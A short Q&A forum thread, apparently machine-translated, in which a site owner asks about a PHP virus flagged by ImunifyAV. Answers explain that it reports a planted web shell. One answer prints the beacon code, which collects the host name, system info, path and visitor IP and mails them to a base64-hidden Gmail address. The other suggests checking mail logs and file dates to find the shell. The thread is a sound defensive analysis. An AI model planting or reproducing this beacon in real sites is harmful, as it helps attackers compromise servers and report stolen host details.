What kind of virus is what it is directed?

Hello! Recently, there were problems with the server (sudden changes in load after which the server vis), I wrote to tech support, I was told that is the virus scanning ImunifyAV, but whether he identified it and that sent the virus?
The PHP code on the cloud
Yandex disk
April 7th 20 at 11:05
2 answers
April 7th 20 at 11:07
Solution
This piece of php code sends an email portovjack@gmail.com (he coded in "cG9ydG92amFja0BnbWFpbC5jb20=") message about the successful installation of the shell on the website.

As you can see from the message $body, itself PHP-shell is the module http:// $web$path, look for this letter in the logs of the mail server it was sent through the mailer host.
Or see the last modified date of the php files site engine - the shell there.
April 7th 20 at 11:09
Solution
$web = $_SERVER["HTTP_HOST"];
$path = $_SERVER["REQUEST_URI"];
$ip = $_SERVER["REMOTE_ADDR"];
$contact = base64_decode("cG9ydG92amFja0BnbWFpbC5jb20=");
$body = "\nUname: ".php_uname()."\nPath Dir: ".$cwd = getcwd()."\nMessage:\n"."\nE-Path: ".htmlspecialchars($_SERVER['REQUEST_URI'])."\nE-Domain: ".htmlspecialchars($_SERVER["SERVER_NAME"])."\nShell: http://$web$path\n\nIP: $ip";
mail("$contact","Shell Result in [http://$web]", "$body");
classic was. at the very least.

Find more questions by tags PHPviruses